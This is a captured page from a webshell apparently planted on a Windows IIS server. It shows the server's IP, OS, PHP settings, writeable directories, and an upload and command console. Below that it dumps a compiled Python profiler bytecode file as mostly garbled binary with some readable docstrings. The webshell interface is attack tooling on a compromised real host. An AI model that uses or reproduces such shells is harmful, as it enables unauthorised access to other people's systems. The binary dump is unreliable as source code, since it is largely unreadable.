403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.165
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/profiling/sampling/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/profiling/sampling/__pycache__/_sync_coordinator.cpython-315.pyc
R
>lqj+c�$�Qs]PHs]PHs]PHs]PHs]PHs]PHs]PH s]QH$G
s
GsQQ\2s
QQ\
2sQQ\
2sQQ	\
2sQ
Qks]sQsQ
sQsQQksQQksQQksQQksQQks\Q6Xc
\2P!P!)z�
Internal synchronization coordinator for the sample profiler.

This module is used internally by the sample profiler to coordinate
the startup of target processes. It should not be called directly by users.
)�List�NoReturnc��\sQs]sQsQsP!)�CoordinatorErrorz&Base exception for coordinator errors.���__name__�
__module__�__qualname__�__firstlineno__�__doc__�__static_attributes__r��9C:\Python315\\Lib\profiling\sampling\_sync_coordinator.pyrrs��0�r
rc��\sQs]sQsQsP!)�
ArgumentErrorz+Raised when invalid arguments are provided.rrrr
rrrs��5�r
rc��\sQs]sQsQsP!)�	SyncErrorz0Raised when synchronization with profiler fails.rrrr
rrrs��:�r
rc��\sQs]!sQsQsP!)�TargetErrorz#Raised when target execution fails.rrrr
rrr!s��-�r
rc��U]6�cPgQ[[*Q[[[[[*1*-!)��args�return)r�str�tuple�int)�formats"r�__annotate__� _validate_arguments.__annotate__&s.��!'�!'�d�3�i�!'�E�#�s�D��I�2E�,F�!'r
c��[U2]6c[Q2g[U]*2o]St96:cQ6:fL[Q2gU]*o[O
O
U2%f[QU02gUQ*oU%f[Q2gVU1![co[QS]*QS02SgPo=hh9h)	z�
Validate and parse command line arguments.

Args:
    args: Command line arguments including script name

Returns:
    Tuple of (sync_port, working_directory, target_args)

Raises:
    ArgumentError: If arguments are invalid
zFInsufficient arguments. Expected: <sync_port> <cwd> <target> [args...]i��zPort out of rangezInvalid sync port 'z': z"Working directory does not exist: :�NNzNo target specified)�lenrr�
ValueError�os�path�isdir)r�	sync_port�e�cwd�target_argss&    r�_validate_argumentsr*&s����4�y�1�}��T�
�	
�J���Q��L�	��Y�'�%�'��0�1�1�(�
�q�'�C�
�7�7�=�=�����@���F�G�G��r�(�K���1�2�2��;�&�&���J��1�$�q�'��#�a�S�A�B��I��J�s'�B)�B)�
B)�)	C�3C�4C
�
Cg�������?g@sreadyc�*�U]6�cPgQ[QP-!)rr&r)r)rs"rr�_signal_readiness.__annotate__Qs��o�o��o��or
c	���Po[[2FDKo[OQU1[Q59^tt^2oUO[2PPP2P!	[Q[QU02Ug)%fhJv9h[O[1cNoSoS[]*
6c/[O[]S**2Po=J�Po=J�Po=hh9h)z�
Signal readiness to the profiler via TCP socket.

Args:
    sync_port: Port number where profiler is listening

Raises:
    SyncError: If unable to signal readiness
z	127.0.0.1)�timeoutz!Failed to signal readiness after z attempts: )
�range�_MAX_RETRIES�socket�create_connection�_SOCKET_TIMEOUT_SEC�send�_READY_MESSAGE�error�OSError�time�sleep�_INITIAL_RETRY_DELAY_SECr)r&�
last_error�attempt�sockr's&    r�_signal_readinessr>Qs����J���&��		F��)�)�;�	�*B�L_�`�`�dh��	�	�.�)��a�`�'��7��~�[�Q[�P\�]�
^�dn�n�a�`�`�����g�&�	F��J����)�)��
�
�3�q�G�|�D�E�E�*��	F�sF�&B
�A9	�B
�9B

�B

�B
�
B
�
C5�'C5�(C0�<(C0�0C5c�*�U]6�cPgQ[QP-!)rr(r)r)rs"rr�_setup_environment.__annotate__ms�� � �C� �D� r
c���[OU2U[O
7c#[O
O
]U2P!P![co[QSQS02SgPo=hh9h)z�
Set up the execution environment.

Args:
    cwd: Working directory to change to

Raises:
    TargetError: If unable to set up environment
zFailed to change to directory �: )r#�chdirr7r�sysr$�insert)r(r's& r�_setup_environmentrFmsg��N�
����
�
�#�(�(��������3����	�N��:�3�%�r�!��E�F�A�M��N�s�A�	A4�A4�A/�/A4c�L�U]6�cPgQ[Q[[*QP-!)r�module_name�module_argsr�rr)rs"rr�_execute_module.__annotate__�s*��K�K��K�4��9�K��Kr
c��Q,U*[m[OUQP	Q5P![co[QSQS02SgPo=hh9h)z�
Execute a Python module.

Args:
    module_name: Name of the module to execute
    module_args: Arguments to pass to the module

Raises:
    TargetError: If module cannot be found
z__main__.py�__main__)�run_name�	alter_syszModule 'z
' not found: )rD�argv�runpy�
run_module�ImportErrorr)rHrIr's&& r�_execute_modulerT�sV�����,�C�H�K�
����z�T�J���K��H�[�M��q�c�B�C��J��K�s�1�	A�A�A�Ac�X�U]6�cPgQ[Q[[*Q[QP-!)r�script_path�script_argsr(rrJ)rs"rr�_execute_script.__annotate__�s,��,%�,%��,%�4��9�,%�3�,%�4�,%r
c�J�[OOU2%f [OOV 2o[OO	U2%f[QU02gU,U*[m[UQ29^tt^2oUO2oPPP2[OQ2oVm[UmU9[O Q$[O Q$[#WUQQQ5o['VvO(2P!)%fhK�9h[co[QS02SgPo=h[co[QS02SgPo=hh9h[$co[Q	SQ
S02SgPo=hh9h)z�
Execute a Python script.

Args:
    script_path: Path to the script to execute
    script_args: Arguments to pass to the script
    cwd: Current working directory for path resolution

Raises:
    TargetError: If script execution fails
�Script not found: �rbzScript file not found: z"Permission denied reading script: rM�__mp_main__�exec)�modulezSyntax error in script rB)r#r$�isabs�join�isfilerrDrP�open�read�FileNotFoundError�PermissionError�types�
ModuleType�__file__�__builtins__�modules�compile�SyntaxErrorr]�__dict__)rVrWr(�f�source_coder'�main_module�codes&&&     r�_execute_scriptrr�se���7�7�=�=��%�%��g�g�l�l�3�4��
�7�7�>�>�+�&�&��.�{�m�<�=�=��}�{�*�C�H�U�
�+�t�
$�
$���&�&�(�K�%��"�"�:�.�K�&��+�K��;F�F�C�K�K�
��c�k�k�-�8�O��{�K��
�K��	��#�#�$�+%�
$���J��3�K�=�A�B��I���U��>�{�m�L�M�ST�T��U���O��3�K�=��1�#�F�G�Q�N��O�sr�
E�!D.�2E�F�.D>	�7D>	�9E�>E�	E=�E=�E�E=�(E=�)E8�8E=�	F"�
F"�F�F"c�&�U]6�cPgQ[-!)rr)r)rs"rr�main.__annotate__�s��5�5�h�5r
c���[[O2vqo[U2U]*Q6HoU%c^[	U2]6c[Q2gU]*oUQ*o[OOU2e[QU02gL�U]*oUQ*o[OOU2%cSL[OOV2o[OOU2%f[QU02g[U2W%c[+WW2L
[-WWW2[O&]2P![ c?o	[#QS	0[O$Q5[O&]2Po	=	K~Po	=	h[(c5[#Q	[O$Q5[O&]2K�h9h)
z�
Main coordinator function.

This function coordinates the startup of a target Python process
with the sample profiler by signaling when the process is ready
to be profiled.
z-mzModule name required after -m:rNNzModule not found: :�NNrZzProfiler coordinator error: )�file�Interrupted)r*rDrPrFr!r�	importlib�util�	find_specrr#r$r_r`rar>r�print�stderr�exit�KeyboardInterruptrTrr)
r&r(r)�	is_modulerHrIrVrW�
check_pathr's
          r�mainr��sx��!�&9�#�(�(�&C�#�	��	�3�� ��N�d�*�	���;��!�#�#�$C�D�D�%�a�.�K�%�b�/�K��~�~�'�'��4�<�!�$6�{�m�"D�E�E�=�&�a�.�K�%�b�/�K�(*���
�
�k�(B�(B�������UX�Hf�J��7�7�>�>�*�-�-�!�$6�{�m�"D�E�E�	�)�$����[�1���[�#�6��H�H�Q�K����
�,�Q�C�0�s�z�z�B����������
�m�#�*�*�-�������sH�:E+�E+�=E+�AE+�AE+�E+�+	G1�5G1�64F/�/G1�<2G1�0G1rM)r�importlib.utilryr#rDr1rQr8rf�typingrr�	Exceptionrrrrr*r0r:r3r5r>rFrTrrr�rrr
r�<module>r�s�����	�
�
����!�	�y�	�
	�$�	�
	� �	�
	�"�	�
!'�J��������o�8 �(K�.,%�^5�p�z���F�r

Youez - 2016 - github.com/yon3zu
LinuXploit